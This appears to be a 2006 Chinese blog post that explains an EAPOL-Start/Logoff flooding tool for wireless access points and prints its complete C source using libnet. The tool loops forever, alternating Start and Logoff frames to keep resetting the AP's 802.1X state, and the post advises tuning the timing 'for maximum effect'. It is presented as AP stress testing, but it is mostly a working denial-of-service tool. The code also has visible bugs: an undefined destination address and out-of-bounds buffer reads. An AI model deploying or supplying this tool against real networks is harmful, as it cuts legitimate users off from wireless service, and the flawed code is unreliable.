利用winpcap/libnet开发EAPOL-START/LOGOFF攻击测试工具

原创 2006年06月08日 09:29:00
   攻击工具的原理是通过不断地向WLAN AP发送EAPOL-Start和EAPOL-Logoff报文,从而使WLAN AP的状态机中频繁刷新网卡的状态。这个测试工具可以用来测试WLAN AP的性能和抗攻击的能力。
    程序中除了主函数外,有以下5个函数:
u_char *get_src_mac();
u_char *eapol_create_start_stop_frame(char stst);
char *send_frame(u_char *frame_ptr, int frame_size);
void txStart();
void txLogoff();
    其中,get_src_mac()函数的作用是获取本地无线网卡的mac,注意攻击之前无线网卡要连上WLAN AP。eapol_create_start_stop_frame(char stst)函数根据输入参数的不同可以选择构造EAPOL-Start和EAPOL-Logoff报文。send_frame(u_char *frame_ptr, int frame_size)函数负责数据包的发送。void txStart()和void txLogoff()两个函数调用其它函数完成EAPOL-Start和EAPOL-Logoff报文的发送过程。
通过对无线报文进行抓包,可以看到试验的结果如图4-13所示:
          
  图4-13 EAPOL-Start/Logoff报文攻击的过程

从抓包结果可以看出,当无线网卡发送EAPOL-Start报文时,WLAN AP做出了回应EAP-Request。由于不同WLAN AP对报文的响应时间可能不同。因此可以通过调整EAPOL-Start和EAPOL-Logoff报文之间的发送时间来达到最大的测试效果。在这里可以使用Sleep(int n)函数来实现,n的单位为毫秒。

附录C EAPOL_START攻击测试工具的源代码

EAPOL-START攻击工具的源代码如下所示:
// EAPOL_START_ATTACK.cpp : Defines the entry point for the console application.
#include "stdafx.h"
#include "stdio.h"
#include <win32/libnet.h>
#define ETH_ADDR_LEN 6
#define EAPOL_START     1
#define EAPOL_LOGOFF   2
typedef unsigned char u_char;
libnet_t *l=NULL;
 
//得到本地网卡的mac地址
u_char *get_src_mac()
{
u_char *ret_mac=NULL;
struct libnet_ether_addr *e;
e = libnet_get_hwaddr(l);
ret_mac = (u_char *)malloc(ETH_ADDR_LEN);/*分配一块mac地址的存储单元*/
memcpy(ret_mac, e->ether_addr_octet, ETH_ADDR_LEN);
return (u_char *)ret_mac;
}
 
//构造EAPOL-Start和EAPOL-Logoff报文的函数,当stst的值为EAPOL_START时构造EAPOL-Start报文,当stst的值为EAPOL_LOGOFF时构造的是EAPOL-Logoff函数。
u_char *eapol_create_start_stop_frame(char stst)
{
u_char static * eapol_start;
u_char *src_addr;
eapol_start = (u_char *)malloc(18);  //为EAPOL-START报文分配18字节的空间
memcpy(eapol_start, eapol_dst, 6); // 拷贝目的地址
src_addr = get_src_mac();
memcpy(&eapol_start[6], src_addr, 6);  //拷贝源地址
free(src_addr);
src_addr = NULL;
eapol_start[12] = 0x88;           // 0x888e 是EAPOL帧类型
eapol_start[13] = 0x8e;
eapol_start[14] = 1;                   // EAPOL的版本
eapol_start[15] = stst;              //定义发送的报文类型
eapol_start[16] = 0;                   // 没有负载.
eapol_start[17] = 0;
return eapol_start;
}
 
//发送报文的函数,函数的形参是指向一个待发送数据包的指针
char *send_frame(u_char *frame_ptr, int frame_size)
{
if(frame_ptr[23]==0xcd)
        frame_ptr[23]=0x00;
int i=0;
if ((i = libnet_write_link(l,frame_ptr,frame_size)) == -1)
        return ("Error sending frame");
return NULL;
}
//发送EAPOL-Start报文
void txStart()
{
 printf("send txStart/n");   
 u_char *temp;
 temp = eapol_create_start_stop_frame(EAPOL_START);
 if (send_frame(temp, 26) == NULL)
     printf("send eap_start to link./n");
 free(temp);
 temp = NULL;
}
 
//发送EAPOL-Logoff报文
void txLogoff()
{
printf("send txLogoff/n");   
u_char *temp;
temp = eapol_create_start_stop_frame(EAPOL_LOGOFF);
send_frame(temp, 18);
free(temp);
temp = NULL;
}
//EAPOL-Start/Logoff攻击工具的主函数
void main(int argc, char** argv)
{
char *device=NULL;
char error_information[LIBNET_ERRBUF_SIZE];
printf("EAPOL_START攻击开始:/n");
while (1) {
        l=libnet_init(LIBNET_LINK_ADV,device,error_information);    
        txStart();
        Sleep(10);
        txLogoff();
        libnet_destroy(l);
        Sleep(10);
}
}

利用winpcap/libnet开发EAPOL-START/LOGOFF攻击测试工具

http://blog.csdn.net/gofishing/archive/2006/06/08/779717.aspx 攻击工具的原理是通过不断地向WLAN AP发送EAPOL-Start和EAP...
  • Robust516
  • Robust516
  • 2006年11月07日 11:16
  • 506

WinPcap和Libnet开发包介绍

        WinPcap是Windows平台下一个专业网络数据包捕获开发包,是为Libpcap在Windows平台下实现数据包的捕获而设计的。在设计WinPcap时参照了Libpcap,使用方法...
  • gofishing
  • gofishing
  • 2006年05月11日 23:35
  • 5667

基于Libpcap/Winpcap网络监听与过滤

基于Libpcap/Winpcap网络监听与过滤3.1 Libpcap/Winpcap简介Libcap(Winpcap是其windows版本)可以提供与平台无关的接口,而且操作简单,它是基于改进的BP...
  • sansecao
  • sansecao
  • 2009年07月24日 18:50
  • 5569

ARP欺骗源码(基于WinPcap实现)

ARP欺骗源码(基于WinPcap实现)   佟强  2008.10.8 //ArpCheat.h #ifndef MY_ARP_CHEAT_INCLUDE_H #define MY_ARP_CHEA...
  • microtong
  • microtong
  • 2008年10月07日 19:43
  • 4470

linux 下libpcap和windows下winpcap 捕获网络数据包的异同

 libpcap和winpcap最大的不同就是 内核缓冲区,用户缓冲区等都不能设置,没有提供这样的函数,要编译libpcap源码。 另外,linux fedora 下使用libpcap时,找不到pca...
  • smilestone322
  • smilestone322
  • 2011年02月12日 21:43
  • 2920

基于winpcap的抓包分析工具

0x00这几天要帮老师做一个基于Winpcap的工具, 然后就开始瞎搞Winpcap了。官方的文档很给力啊, 而且还有一个中文版的,中文版 地址请戳这里示例的代码也挺不错的, 可以直接拿来做测试, 但...
  • baidu_28138887
  • baidu_28138887
  • 2015年05月14日 09:30
  • 1066

【WinPcap】自制抓包+分析+ARP攻击(一)

【WinPcap】自制抓包+分析+ARP攻击 开篇 刚学习WinPcap,所以想练练手,做一个抓包的,不是很好玩么,或许还可以写一下自己的ARP包,来个LAN欺骗~于是乎,花了5天的时间,把TCP...
  • yzt33
  • yzt33
  • 2015年04月21日 14:09
  • 1941

Linux 网络编程—— libnet 使用指南

概述 通过《原始套接字实例:发送 UDP 数据包》的学习,我们组 UDP 数据包时常考虑字节流顺序、校验和计算等问题,有时候会比较繁琐,那么,有没有一种更简单的方法呢?答案是:借助 libnet 函...
  • tennysonsky
  • tennysonsky
  • 2015年04月12日 20:23
  • 5344

c++ winpcap开发(3)

打开适配器并捕获数据包 现在我们已经看到如何获得适配器来玩,让我们开始真正的工作,打开适配器并捕获一些流量。 我们将编写一个程序,其中打印出一些关于流经适配器的数据包的信息。 打开捕获设备的功能是...
  • swartz_lubel
  • swartz_lubel
  • 2017年07月20日 21:55
  • 309

libnet发包例子(tcp udp arp广播)

TCP: #include int main() { libnet_t *handle; /* Libnet句柄 */ int packet_size; /* 构造的数据包大小 ...
  • vevenlcf
  • vevenlcf
  • 2015年02月13日 10:23
  • 1640
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:利用winpcap/libnet开发EAPOL-START/LOGOFF攻击测试工具
举报原因:
原因补充:

(最多只允许输入30个字)